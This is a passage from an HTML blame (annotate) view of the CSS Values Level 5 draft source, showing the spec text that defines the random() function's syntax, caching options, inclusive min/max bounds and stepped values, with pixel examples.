class="lineno"> <a href="#l1819" id="l1819"> 1819</a> </td> <td class="source"> The exact random-number generation method is UA-defined. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l511" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1820" id="l1820"> 1820</a> </td> <td class="source"> It <em>should</em> be the case that two distinct random values </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l512" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1821" id="l1821"> 1821</a> </td> <td class="source"> have no easily-detectable correlation, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l513" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1822" id="l1822"> 1822</a> </td> <td class="source"> but this specification intentionally does not specify what that means </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l514" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1823" id="l1823"> 1823</a> </td> <td class="source"> in terms of cryptographic strength. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l515" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1824" id="l1824"> 1824</a> </td> <td class="source"> Authors <em>must not</em> rely on [=random functions=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l516" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1825" id="l1825"> 1825</a> </td> <td class="source"> for any purposes that depend on quality cryptography. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l517" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1826" id="l1826"> 1826</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l518" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1827" id="l1827"> 1827</a> </td> <td class="source"><h3 id=random> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l519" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1828" id="l1828"> 1828</a> </td> <td class="source">Generating a Random Numeric Value: the ''random()'' function</h3> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l520" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1829" id="l1829"> 1829</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l521" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1830" id="l1830"> 1830</a> </td> <td class="source"> The <dfn>random()</dfn> function is a [=math function=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l522" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1831" id="l1831"> 1831</a> </td> <td class="source"> that represents a random value between a minimum and maximum value, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l523" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1832" id="l1832"> 1832</a> </td> <td class="source"> drawn from a uniform distribution, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l524" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1833" id="l1833"> 1833</a> </td> <td class="source"> optionally limiting the possible values to a step between those limits: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l525" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1834" id="l1834"> 1834</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l526" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1835" id="l1835"> 1835</a> </td> <td class="source"> <pre class=prod> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/65c7c2c54289/css-values-5/Overview.bs#l985" title="65c7c2c54289: [css-values-5] Minor syntax fixes (#9589)">gui@30524</a> </td> <td class="lineno"> <a href="#l1836" id="l1836"> 1836</a> </td> <td class="source"> &lt;random()> = random( <<random-caching-options>>? , <<calc-sum>>, <<calc-sum>>, [by <<calc-sum>>]? ) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l528" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1837" id="l1837"> 1837</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l529" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1838" id="l1838"> 1838</a> </td> <td class="source"> <dfn><<random-caching-options>></dfn> = <<dashed-ident>> || per-element </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l530" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1839" id="l1839"> 1839</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l531" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1840" id="l1840"> 1840</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l532" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1841" id="l1841"> 1841</a> </td> <td class="source"> Its arguments are: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l533" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1842" id="l1842"> 1842</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l534" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1843" id="l1843"> 1843</a> </td> <td class="source"> <dl> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l535" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1844" id="l1844"> 1844</a> </td> <td class="source"> : <<random-caching-options>> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l536" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1845" id="l1845"> 1845</a> </td> <td class="source"> :: The optional <<random-caching-options>> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l537" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1846" id="l1846"> 1846</a> </td> <td class="source"> provides some control over whether a given ''random()'' function </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l538" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1847" id="l1847"> 1847</a> </td> <td class="source"> resolves similarly or differently to other ''random()''s on the page. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l539" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1848" id="l1848"> 1848</a> </td> <td class="source"> See [[#random-caching]] for details. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l540" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1849" id="l1849"> 1849</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l541" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1850" id="l1850"> 1850</a> </td> <td class="source"> <div class=note> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l542" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1851" id="l1851"> 1851</a> </td> <td class="source"> By default, ''random()'' resolves to a single value, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l543" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1852" id="l1852"> 1852</a> </td> <td class="source"> shared by all elements using that style, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l544" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1853" id="l1853"> 1853</a> </td> <td class="source"> and two ''random()'' functions with identical arguments </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l545" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1854" id="l1854"> 1854</a> </td> <td class="source"> will resolve to the same random value. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l546" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1855" id="l1855"> 1855</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l547" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1856" id="l1856"> 1856</a> </td> <td class="source"> Providing a <<dashed-ident>> does nothing, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l548" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1857" id="l1857"> 1857</a> </td> <td class="source"> but can make the argument lists distinct </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l549" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1858" id="l1858"> 1858</a> </td> <td class="source"> between two or more otherwise-identical ''random()'' functions, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l550" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1859" id="l1859"> 1859</a> </td> <td class="source"> so they'll generate distinct values. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l551" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1860" id="l1860"> 1860</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l552" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1861" id="l1861"> 1861</a> </td> <td class="source"> The ''per-element'' keyword causes the ''random()'' function </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l553" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1862" id="l1862"> 1862</a> </td> <td class="source"> to generate a different value <em>on each element</em> the function is applied to, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l554" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1863" id="l1863"> 1863</a> </td> <td class="source"> rather than resolving to a single value per usage in the stylesheet. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l555" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1864" id="l1864"> 1864</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l556" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1865" id="l1865"> 1865</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l557" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1866" id="l1866"> 1866</a> </td> <td class="source"> : <<calc-sum>>, <<calc-sum>> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l558" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1867" id="l1867"> 1867</a> </td> <td class="source"> :: The two required [=calculations=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l559" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1868" id="l1868"> 1868</a> </td> <td class="source"> specify the minimum and maximum value </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l560" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1869" id="l1869"> 1869</a> </td> <td class="source"> the function can resolve to. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l561" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1870" id="l1870"> 1870</a> </td> <td class="source"> Both limits are inclusive </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l562" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1871" id="l1871"> 1871</a> </td> <td class="source"> (the result can be the min or the max). </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l563" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1872" id="l1872"> 1872</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l564" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1873" id="l1873"> 1873</a> </td> <td class="source"> If the maximum value is less than the minimum value, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l565" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1874" id="l1874"> 1874</a> </td> <td class="source"> it behaves as if it's equal to the minimum value. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l566" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1875" id="l1875"> 1875</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l567" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1876" id="l1876"> 1876</a> </td> <td class="source"> <div class=example> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l568" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1877" id="l1877"> 1877</a> </td> <td class="source"> For example, ''random(100px, 300px)'' </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l569" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1878" id="l1878"> 1878</a> </td> <td class="source"> will resolve to a random <<length>> between ''100px'' and ''300px'': </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l570" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1879" id="l1879"> 1879</a> </td> <td class="source"> it might be ''100px'', ''300px'', or any value between them like ''234.5px''. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l571" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1880" id="l1880"> 1880</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l572" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1881" id="l1881"> 1881</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l573" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1882" id="l1882"> 1882</a> </td> <td class="source"> : ''by <<calc-sum>>'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l574" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1883" id="l1883"> 1883</a> </td> <td class="source"> :: The final optional argument </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l575" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1884" id="l1884"> 1884</a> </td> <td class="source"> specifies a step value: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l576" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1885" id="l1885"> 1885</a> </td> <td class="source"> the values the function can resolve to </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l577" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1886" id="l1886"> 1886</a> </td> <td class="source"> are further restricted to the form <code>min + (N * step)</code>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/2c50f18d647e/css-values-5/Overview.bs#l578" title="2c50f18d647e: [css-values-5] Clarify that stepped values are uniformly random.">jackalmage@29490</a> </td> <td class="lineno"> <a href="#l1887" id="l1887"> 1887</a> </td> <td class="source"> where N is a non-negative integer </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/2c50f18d647e/css-values-5/Overview.bs#l579" title="2c50f18d647e: [css-values-5] Clarify that stepped values are uniformly random.">jackalmage@29490</a> </td> <td class="lineno"> <a href="#l1888" id="l1888"> 1888</a> </td> <td class="source"> chosen uniformly randomly from the possible values </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/2c50f18d647e/css-values-5/Overview.bs#l580" title="2c50f18d647e: [css-values-5] Clarify that stepped values are uniformly random.">jackalmage@29490</a> </td> <td class="lineno"> <a href="#l1889" id="l1889"> 1889</a> </td> <td class="source"> that result in an in-range value. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l579" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1890" id="l1890"> 1890</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l580" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1891" id="l1891"> 1891</a> </td> <td class="source"> <div class=example> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l581" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1892" id="l1892"> 1892</a> </td> <td class="source"> For example, ''random(100px, 300px, by 50px)'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l582" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1893" id="l1893"> 1893</a> </td> <td class="source"> can only resolve to ''100px'', ''150px'', ''200px'', ''250px'', or ''300px''; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l583" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1894" id="l1894"> 1894</a> </td> <td class="source"> it will never return a value like ''120px''. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l584" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1895" id="l1895"> 1895</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l585" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1896" id="l1896"> 1896</a> </td> <td class="source"> While the minimum value is always a possible result, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l586" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1897" id="l1897"> 1897</a> </td> <td class="source"> the maximum value isn't always, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l587" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1898" id="l1898"> 1898</a> </td> <td class="source"> if it's not also a multiple of the step from the minimum. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l588" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1899" id="l1899"> 1899</a> </td> <td class="source"> For example, in ''random(100px, 300px, by 30px)'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l589" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1900" id="l1900"> 1900</a> </td> <td class="source"> the largest possible value it can resolve to is ''280px'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l590" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1901" id="l1901"> 1901</a> </td> <td class="source"> 6 steps from the minimum value. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l591" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1902" id="l1902"> 1902</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l592" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1903" id="l1903"> 1903</a> </td> <td class="source"> Note that rounding issues might have an effect here: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l593" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1904" id="l1904"> 1904</a> </td> <td class="source"> in ''random(100px, 200px, by 100px / 3)'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l594" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1905" id="l1905"> 1905</a> </td> <td class="source"> you'll definitely get three possible values </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l595" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1906" id="l1906"> 1906</a> </td> <td class="source"> (''100px'', and approximately ''133.33px'' and ''166.67px''), </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l596" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1907" id="l1907"> 1907</a> </td> <td class="source"> but whether ''200px'' is possible depends on rounding precision. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l597" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1908" id="l1908"> 1908</a> </td> <td class="source"> To be safe, you can put the maximum value </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l598" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1909" id="l1909"> 1909</a> </td> <td class="source"> <em>slightly above</em> where you expect the final step to land, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l599" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1910" id="l1910"> 1910</a> </td> <td class="source"> like ''random(100px, 201px, by 100px / 3)''. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l601" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1911" id="l1911"> 1911</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity1"> <td class="linenr"> <a 